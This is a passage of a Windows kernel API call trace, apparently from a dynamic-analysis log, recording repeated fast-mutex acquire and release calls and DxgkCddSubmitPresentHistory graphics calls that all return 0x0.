ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.911] DxgkCddSubmitPresentHistory () returned 0x0 [0137.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.937] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001255f40) [0137.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.937] DxgkCddSubmitPresentHistory () returned 0x0 [0137.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.937] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0137.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.937] DxgkCddSubmitPresentHistory () returned 0x0 [0137.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.955] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.955] DxgkCddSubmitPresentHistory () returned 0x0 [0137.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.955] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0137.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.955] DxgkCddSubmitPresentHistory () returned 0x0 [0137.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.991] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0137.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.991] DxgkCddSubmitPresentHistory () returned 0x0 [0138.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.007] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.007] DxgkCddSubmitPresentHistory () returned 0x0 [0138.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.039] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.039] DxgkCddSubmitPresentHistory () returned 0x0 [0138.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.074] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.074] DxgkCddSubmitPresentHistory () returned 0x0 [0138.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.090] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.090] DxgkCddSubmitPresentHistory () returned 0x0 [0138.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.106] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.106] DxgkCddSubmitPresentHistory () returned 0x0 [0138.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.106] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001255f40) [0138.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.107] DxgkCddSubmitPresentHistory () returned 0x0 [0138.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.122] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.122] DxgkCddSubmitPresentHistory () returned 0x0 [0138.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.154] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001255f40) [0138.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.154] DxgkCddSubmitPresentHistory () returned 0x0 [0138.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.154] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.154] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.154] DxgkCddSubmitPresentHistory () returned 0x0 [0138.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.155] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.155] DxgkCddSubmitPresentHistory () returned 0x0 [0138.186] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.186] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.186] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.186] DxgkCddSubmitPresentHistory () returned 0x0 [0138.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.218] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001255f40) [0138.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.219] DxgkCddSubmitPresentHistory () returned 0x0 [0138.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.219] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.219] DxgkCddSubmitPresentHistory () returned 0x0 [0138.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.219] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.219] DxgkCddSubmitPresentHistory () returned 0x0 [0138.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.236] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.236] DxgkCddSubmitPresentHistory () returned 0x0 [0138.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.267] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.267] DxgkCddSubmitPresentHistory () returned 0x0 [0138.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.283] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001255f40) [0138.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.283] DxgkCddSubmitPresentHistory () returned 0x0 [0138.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.283] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.283] DxgkCddSubmitPresentHistory () returned 0x0 [0138.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.299] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.299] DxgkCddSubmitPresentHistory () returned 0x0 [0138.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.331] DxgkCddSubmitPresentHistory () returned 0x0 [0138.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.331] DxgkCddSubmitPresentHistory () returned 0x0 [0138.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.382] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.382] DxgkCddSubmitPresentHistory () returned 0x0 [0138.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.383] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001255f40) [0138.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0138.383] DxgkCddSubmitPresentHistory () returned 0x0 [0138.400] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.400] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.400] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.400] DxgkCddSubmitPresentHistory () returned 0x0 [0138.400] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.400] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.400] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.400] DxgkCddSubmitPresentHistory () returned 0x0 [0138.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.438] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001082bd0) [0138.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.438] DxgkCddSubmitPresentHistory () returned 0x0 [0138.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.438] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.438] DxgkCddSubmitPresentHistory () returned 0x0 [0138.453] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.453] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.453] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.453] DxgkCddSubmitPresentHistory () returned 0x0 [0138.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.487] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.487] DxgkCddSubmitPresentHistory () returned 0x0 [0138.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.487] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.487] DxgkCddSubmitPresentHistory () returned 0x0 [0138.513] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.513] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001082bd0) [0138.513] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.513] DxgkCddSubmitPresentHistory () returned 0x0 [0138.513] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.513] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.513] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.513] DxgkCddSubmitPresentHistory () returned 0x0 [0138.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.549] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.549] DxgkCddSubmitPresentHistory () returned 0x0 [0138.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001082bd0) [0138.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.565] DxgkCddSubmitPresentHistory () returned 0x0 [0138.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.565] DxgkCddSubmitPresentHistory () returned 0x0 [0138.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.581] DxgkCddSubmitPresentHistory () returned 0x0 [0138.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.597] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.597] DxgkCddSubmitPresentHistory () returned 0x0 [0138.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.613] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001082bd0) [0138.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.614] DxgkCddSubmitPresentHistory () returned 0x0 [0138.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.614] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.614] DxgkCddSubmitPresentHistory () returned 0x0 [0138.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.646] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.646] DxgkCddSubmitPresentHistory () returned 0x0 [0138.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.646] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.646] DxgkCddSubmitPresentHistory () returned 0x0 [0138.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.678] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001082bd0) [0138.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001082bd0) [0138.678] DxgkCddSubmitPresentHistory () returned 0x0 [0138.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.678] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.678] DxgkCddSubmitPresentHistory () returned 0x0 [0138.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.694] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.694] DxgkCddSubmitPresentHistory () returned 0x0 [0138.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.710] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.710] DxgkCddSubmitPresentHistory () returned 0x0 [0138.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.710] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.710] DxgkCddSubmitPresentHistory () returned 0x0 [0138.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.726] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.726] DxgkCddSubmitPresentHistory () returned 0x0 [0138.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.742] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0138.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0138.742] DxgkCddSubmitPresentHistory () returned 0x0 [0138.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.742] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.742] DxgkCddSubmitPresentHistory () returned 0x0 [0138.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.760] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.760] DxgkCddSubmitPresentHistory () returned 0x0 [0138.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.803] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0138.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0138.803] DxgkCddSubmitPresentHistory () returned 0x0 [0138.892] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.892] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.892] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.892] DxgkCddSubmitPresentHistory () returned 0x0 [0138.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.924] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.924] DxgkCddSubmitPresentHistory () returned 0x0 [0138.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.957] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0138.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.957] DxgkCddSubmitPresentHistory () returned 0x0 [0139.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.005] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.005] DxgkCddSubmitPresentHistory () returned 0x0 [0139.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.021] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.021] DxgkCddSubmitPresentHistory () returned 0x0 [0139.062] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.062] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.062] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.062] DxgkCddSubmitPresentHistory () returned 0x0 [0139.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.078] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.079] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.079] DxgkCddSubmitPresentHistory () returned 0x0 [0139.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.095] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.095] DxgkCddSubmitPresentHistory () returned 0x0 [0139.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.111] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.111] DxgkCddSubmitPresentHistory () returned 0x0 [0139.127] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.127] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.127] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.127] DxgkCddSubmitPresentHistory () returned 0x0 [0139.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.143] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.143] DxgkCddSubmitPresentHistory () returned 0x0 [0139.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.159] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.159] DxgkCddSubmitPresentHistory () returned 0x0 [0139.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.191] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.191] DxgkCddSubmitPresentHistory () returned 0x0 [0139.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.207] DxgkCddSubmitPresentHistory () returned 0x0 [0139.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.239] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.239] DxgkCddSubmitPresentHistory () returned 0x0 [0139.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.255] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.255] DxgkCddSubmitPresentHistory () returned 0x0 [0139.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.287] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.287] DxgkCddSubmitPresentHistory () returned 0x0 [0139.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.319] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0139.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.319] DxgkCddSubmitPresentHistory () returned 0x0 [0140.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.274] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.274] DxgkCddSubmitPresentHistory () returned 0x0 [0140.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.274] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0140.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0140.274] DxgkCddSubmitPresentHistory () returned 0x0 [0140.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.457] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.457] DxgkCddSubmitPresentHistory () returned 0x0 [0140.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.509] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.509] DxgkCddSubmitPresentHistory () returned 0x0 [0140.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.509] 